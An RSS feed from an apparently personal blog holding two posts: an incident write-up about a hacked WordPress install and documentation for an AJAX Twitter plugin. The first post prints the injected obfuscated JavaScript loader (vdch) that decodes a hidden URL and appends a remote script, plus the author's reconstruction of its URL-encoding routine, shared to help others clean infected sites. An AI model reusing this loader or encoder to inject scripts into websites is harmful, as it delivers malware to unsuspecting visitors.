<?xml version="1.0" encoding="UTF-8"?>
<rss version="2.0"
	xmlns:content="http://purl.org/rss/1.0/modules/content/"
	xmlns:wfw="http://wellformedweb.org/CommentAPI/"
	xmlns:dc="http://purl.org/dc/elements/1.1/"
	xmlns:atom="http://www.w3.org/2005/Atom"
	xmlns:sy="http://purl.org/rss/1.0/modules/syndication/"
	xmlns:slash="http://purl.org/rss/1.0/modules/slash/"
	>

<channel>
	<title>derhofbauer.at / blog &#187; WordPress</title>
	<atom:link href="http://derhofbauer.at/blog/tag/wordpress/feed/" rel="self" type="application/rss+xml" />
	<link>http://derhofbauer.at/blog</link>
	<description>bits, bites and beer for free</description>
	<lastBuildDate>Thu, 05 Jan 2012 12:08:46 +0000</lastBuildDate>
	<language>en</language>
	<sy:updatePeriod>hourly</sy:updatePeriod>
	<sy:updateFrequency>1</sy:updateFrequency>
	<generator>http://wordpress.org/?v=3.3.1</generator>
		<item>
		<title>What the Hack?</title>
		<link>http://derhofbauer.at/blog/what-the-hack/</link>
		<comments>http://derhofbauer.at/blog/what-the-hack/#comments</comments>
		<pubDate>Mon, 25 Jul 2011 17:49:22 +0000</pubDate>
		<dc:creator>Alex</dc:creator>
				<category><![CDATA[Open Source]]></category>
		<category><![CDATA[Vulnerability]]></category>
		<category><![CDATA[WordPress]]></category>

		<guid isPermaLink="false">http://derhofbauer.at/blog/?p=207</guid>
		<description><![CDATA[I got an email today asking me for support. One of my WordPress setups had been reported to be hacked &#8211; resulting in a JavaScript redirect to a site distributing malware. Searching for the hack itself or the redirect I couldn&#8217;t find anything useful (except for an entry in the Google support forum). Every JavaScript [...]]]></description>
			<content:encoded><![CDATA[<p>I got an email today asking me for support. One of my WordPress setups had been reported to be hacked &#8211; resulting in a JavaScript redirect to a site distributing malware.</p>
<p>Searching for the hack itself or the redirect I couldn&#8217;t find anything useful (except for an <a href="http://www.google.com/support/forum/p/Chrome/thread?tid=1f69c6f6f09e332c&#038;hl=en">entry in the Google support forum</a>).</p>
<p>Every JavaScript file in wp-content/plugins and wp-content/themes was infected with a function added to the bottom of the script: &#8220;function vdch()&#8221;. Make sure your blogs are clean.</p>
<p><br/></p>
<p><strong>Update:</strong> As I just read <a href="http://www.prestashop.com/forums/topic/121318-cross-scripting-issue/">in this forum</a>, on <a href="http://stackoverflow.com/questions/6838427/need-to-remove-multiple-unique-lines-from-multiple-files">stackoverflow</a> and on <a href="http://wordpress.org/support/topic/wordpress-vulnerability">wordpress</a>, they seem to compromise php and html files too. I guess in my case they couldn&#8217;t by exploiting the WordPress vulnerability because its built-in editor only allows you to edit plugins and themes.</p>
<p>This is the script they&#8217;ve been using on the setup I had to clean up. It fails in Firefox but seems to run fine in Chrome.</p>
<div class="code">
<pre>
function vdch() {
    if(document.all.length &gt; 3) {
        var t = new Array(...);
        var dchid = "";
        for (j=0;j&lt;t.length;j++) {
            var c_rgb = t[j];
            for (i=1;i&lt;7;i++) {
                var c_clr = c_rgb.substr(i++,2);
                if (c_clr!="00") dchid += String.fromCharCode(
                        parseInt(c_clr,16)^i);
            }
        }
        var dch = document.createElement("script");
        dch.id = "dchid";
        dch.src = dchid;
        document.all[3].appendChild(dch);
    } else {
        setTimeout("vdch()",500);
    }
} setTimeout("vdch()",500);
</pre>
</div>
<p><br/></p>
<p><strong>Update 2:</strong> I was curious about how the string (=URL) encryption works in the script above. Here&#8217;s the function I came up with. Pretty nice idea (never had a look at JavaScript obfuscation before).</p>
<div class="code">
<pre>
var url = "http://your.url/";
var enc = new Array();
var rgb = "#";

for (i = 0, j = 2; i &lt; url.length; i++, j += 2) {
    rgb += (url.charCodeAt(i)^j).toString(16);
    if (j == 6) {
        j = 0;
        enc.push(rgb);
        rgb = "#";
    }
}
</pre>
</div>
]]></content:encoded>
			<wfw:commentRss>http://derhofbauer.at/blog/what-the-hack/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>AJAXed Twitter Plugin for WordPress</title>
		<link>http://derhofbauer.at/blog/ajaxed-twitter-plugin-for-wordpress/</link>
		<comments>http://derhofbauer.at/blog/ajaxed-twitter-plugin-for-wordpress/#comments</comments>
		<pubDate>Thu, 28 Jan 2010 11:34:16 +0000</pubDate>
		<dc:creator>Alex</dc:creator>
				<category><![CDATA[Open Source]]></category>
		<category><![CDATA[AJAX]]></category>
		<category><![CDATA[Plugin]]></category>
		<category><![CDATA[Twitter]]></category>
		<category><![CDATA[WordPress]]></category>

		<guid isPermaLink="false">http://derhofbauer.at/blog/?p=63</guid>
		<description><![CDATA[Ricardo González wrote a nice plugin for WordPress that displays the public timeline of a twitter account in your WordPress theme. Though the plugin works I found two major problems: Sometimes Twitter doesn&#8217;t provide the timeline at first request. Embedding it in your theme significantly slows down loading of the blog. I came up with [...]]]></description>
			<content:encoded><![CDATA[<p><a href="http://rick.jinlabs.com">Ricardo González</a> wrote a nice <a href="http://rick.jinlabs.com/code/twitter/">plugin for WordPress</a> that displays the public timeline of a twitter account in your WordPress theme.</p>
<p>Though the plugin works I found two major problems:</p>
<ul>
<li>Sometimes Twitter doesn&#8217;t provide the timeline at first request.</li>
<li>Embedding it in your theme significantly slows down loading of the blog.</li>
</ul>
<p>I came up with a solution to both of them (featuring MooTools or jQuery support) using XMLHttpRequest.</p>
<p>Basically all it does is wait until the page is loaded and then request the tweets. If Twitter decides not to provide the timeline, the request is sent again until a configurable number of retries is reached.</p>
<p>There are two ways to use this plugin:</p>
<ol>
<li>Configure it manually (see how-to below)</li>
<li>Use it as a widget (version two and above)</li>
</ol>
<p>If you use it as widget, simply use the management functionality for widgets provided by WordPress. Otherwise (if your theme doesn&#8217;t support widgets for example) you can set also it up manually as I did on this blog (because I use MooTools here).<br />
<span id="more-63"></span></p>
<h3>Plugin setup:</h3>
<p>Provide a PHP-script (e.g. twitter.php in your theme folder), which can be loaded by the request:</p>
<div class="code">
<pre>if (!defined('DB_NAME')) {
	require_once("../../../wp-config.php");
}

echo AJAXedTwitter::messages(array(
	'username' => 'username'
));</pre>
</div>
<p>You can see I modified the original plugin to use an array instead of parameters (I hate functions that require more than 3 parameters).</p>
<p>Parameters for AJAXedTwitter::messages are:</p>
<table cellspacing="3">
<tr>
<th>Option</th>
<th>Default</th>
<th>Description</th>
</tr>
<tr class="even">
<td>username</td>
<td>empty</td>
<td>the twitter username</td>
</tr>
<tr>
<td>num</td>
<td>5</td>
<td>number of tweets to show (limited to 20 by Twitter)</td>
</tr>
<tr class="even">
<td>list</td>
<td>true</td>
<td>show tweets in a unordered list</td>
</tr>
<tr>
<td>update</td>
<td>true</td>
<td>true show a relative timestamp</td>
</tr>
<tr class="even">
<td>linked</td>
<td>#</td>
<td>options for hyperlinks (see original plugin docs)</td>
</tr>
<tr>
<td>hyperlinks</td>
<td>true</td>
<td>true convert URLs to links</td>
</tr>
<tr class="even">
<td>twitter-users</td>
<td>true</td>
<td>show @username replies as links</td>
</tr>
<tr>
<td>encode-utf8</td>
<td>false</td>
<td>turn it on if you have encoding problems</td>
</tr>
<tr class="even">
<td>cache-age</td>
<td>1800 (half an hour)</td>
<td>expiry of the cached feed (tweets) in seconds, <code>-1</code> to disable</td>
</tr>
</table>
<h3>JavaScript-Setup:</h3>
<p>You have to tell the plugin which JS file to include (this should be done in wp_config.php):</p>
<div class="code">
<pre>define('AJAXED_TWITTER_FRAMEWORK', 'mootools');</pre>
</div>
<p>In this example the plugin will enqueue the twitter class for MooTools. If you don&#8217;t want to use it, you can also define <code>AJAXED_TWITTER_FRAMEWORK</code> to <code>false</code> and include our own scripts. The default value is <code>jquery</code>. It&#8217;s also possible to include both scripts (using &#8216;both&#8217;).</p>
<p>Please note that using the provided Twitter-class you have to <em>add MooTools to your theme&#8217;s header before <code>wp_head();</code></em>.</p>
<p>Then, below <code>wp_head();</code> add a script tag where you configure the twitter part:</p>
<div class="code">
<pre>var twitter = new Twitter('myTweets', {
&nbsp;&nbsp;url: '&lt;?php bloginfo('stylesheet_directory'); ?&gt;/twitter.php',
&nbsp;&nbsp;retries: 2,
&nbsp;&nbsp;animate: true
});
</pre>
</div>
<p>The above JS-code will automatically replace the element &#8220;myTweets&#8221; with your public timeline (or the error message if it runs out of retries) by loading the file twitter.php in your theme&#8217;s folder (see the PHP code?).</p>
<p>Possible options to the constructor are:</p>
<table cellspacing="3">
<tr>
<th>Option</th>
<th>Default</th>
<th>Description</th>
</tr>
<tr class="even">
<td>url</td>
<td>null</td>
<td>the page to call, e.g. &#8220;/blog/wp-content/themes/derhofbauer/twitter.php&#8221;</td>
</tr>
<tr>
<td>retries</td>
<td>0</td>
<td>number of retries if first request fails</td>
</tr>
<tr class="even">
<td>animate</td>
<td>false</td>
<td>if true, tweets will be faded in</td>
</tr>
<tr>
<td>autostart</td>
<td>true</td>
<td>if false, you will have to trigger the first request using <code>twitter.request.send();</code></td>
</tr>
</table>
<h3>CSS classes:</h3>
<table cellspacing="3">
<tr>
<th>Class</th>
<th>Description</th>
</tr>
<tr class="even">
<td>twitter</td>
<td>the main list containing the tweets</td>
</tr>
<tr class="odd">
<td>twitter-item</td>
<td>list items (each tweet as li)</td>
</tr>
<tr class="even">
<td>first</td>
<td>the first list item</td>
</tr>
<tr class="odd">
<td>last</td>
<td>the last list item</td>
</tr>
<tr class="even">
<td>twitter-message</td>
<td>if not displaying as list and more than one tweets available, every tweet is put into a paragraph having this class</td>
</tr>
<tr class="odd">
<td>twitter-timestamp</td>
<td>spans containing the timestamp</td>
</tr>
<tr class="even">
<td>twitter-link</td>
<td>every detected link in the tweets</td>
</tr>
<tr class="odd">
<td>twitter-user</td>
<td>linked @replies</td>
</tr>
<tr class="even">
<td>twitter-error</td>
<td>displayed in case there was an error</td>
</tr>
</table>
<h3>Download:</h3>
<p><a href='http://derhofbauer.at/blog/wp-content/uploads/2010/01/ajaxed-twitter-for-wordpress-0.5.zip'>AJAXed Twitter for WordPress 0.5</a></p>
]]></content:encoded>
			<wfw:commentRss>http://derhofbauer.at/blog/ajaxed-twitter-plugin-for-wordpress/feed/</wfw:commentRss>
		<slash:comments>2</slash:comments>
		</item>
	</channel>
</rss>

